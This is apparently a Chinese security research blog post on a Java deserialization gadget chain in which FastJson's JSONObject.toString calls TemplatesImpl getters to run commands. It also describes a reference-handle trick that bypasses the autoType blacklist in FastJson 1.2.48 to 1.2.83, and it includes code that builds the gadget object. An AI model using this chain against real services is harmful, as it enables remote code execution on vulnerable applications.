前言

555,学习。


FastJson

使用1.2.47版本的FastJson作为测试环境,一切的源头始于一个继承了Serializable接口,并且还是FastJson反序列化流程关键类的JSONObject,通过反序列化BadAttributeValueExpException、XString或者PropertyKey等类可以触发其toString函数:

@Override
public String toString() {
    return toJSONString();
}

public String toJSONString() {
    SerializeWriter out = new SerializeWriter();
    try {
        new JSONSerializer(out).write(this);
        return out.toString();
    } finally {
        out.close();
    }
}

为了将自身化为一个String,JSONObject会使用库中的序列化器序列化自身,由于JSONObject是一个Map对象,所以会遍历并序列化其中的元素,对象序列化过程中就会触发其getter函数们。

FastJson < 1.2.48

简单生成一个测试用对象:

Object templates = Utils.getTemplatesPOC(cmd);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.setField(badAttributeValueExpException, "val", jsonObject);

根据调试,发现此时生成的Serializer不是常用的JavaBeanSerializer,而是使用ASM框架编写字节码特别定制的一个ASMSerializer,看起来会在_get函数中写入getter函数的调用:

Method method = fieldInfo.method;
if (method != null) {
    mw.visitVarInsn(ALOAD, context.var("entity"));
    Class<?> declaringClass = method.getDeclaringClass();
    mw.visitMethodInsn(declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL, type(declaringClass), method.getName(), desc(method));
    if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
        mw.visitTypeInsn(CHECKCAST, type(fieldInfo.fieldClass)); // cast
    }
} 

该测试用对象经序列化、反序列化后可以正常触发命令执行。

FastJson >= 1.2.48

将环境下的FastJson换成1.2.83版本的,会发现FastJson反序列化时触发了黑名单:

com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1413)

读一下源码,可以看到JSONObject的readObject函数使用了SecureObjectInputStream作为自己的反序列化类:

if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {
    ObjectInputStream secIn = new SecureObjectInputStream(in);
    try {
        secIn.defaultReadObject();
        return;
    } catch (java.io.NotActiveException e) {
        // skip
    }
}

看起来,关键的过滤函数是SecureObjectInputStream类的resolveClass函数:

if (TypeUtils.getClassFromMapping(name) == null) {
    ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
}

作为一个Map反序列化自身元素时会应用FastJson的安全机制进行验证,但是要触发该验证机制必须要满足一个前提,那就是这个TemplatesImpl对象是通过JSONObject反序列化的,即此时内存中没有该对象,需要在此刻被反序列化。

然而在Java反序列化机制中,存在一个reference机制,可以先反序列化TemplatesImpl对象,再通过reference链接到JSONObject中。

用ArrayList简单测试一下:

Object templates = Utils.getTemplatesPOC(cmd);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.setField(badAttributeValueExpException, "val", jsonObject);
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
arrayList.add(badAttributeValueExpException);

该测试用对象经序列化、反序列化后可以正常触发命令执行。

FastJson2

测试后发现,似乎可以直接触发,TemplatesImpl没有受到黑名单限制。


参考

从bypassit1了解POJONode#toString调用getter方法原理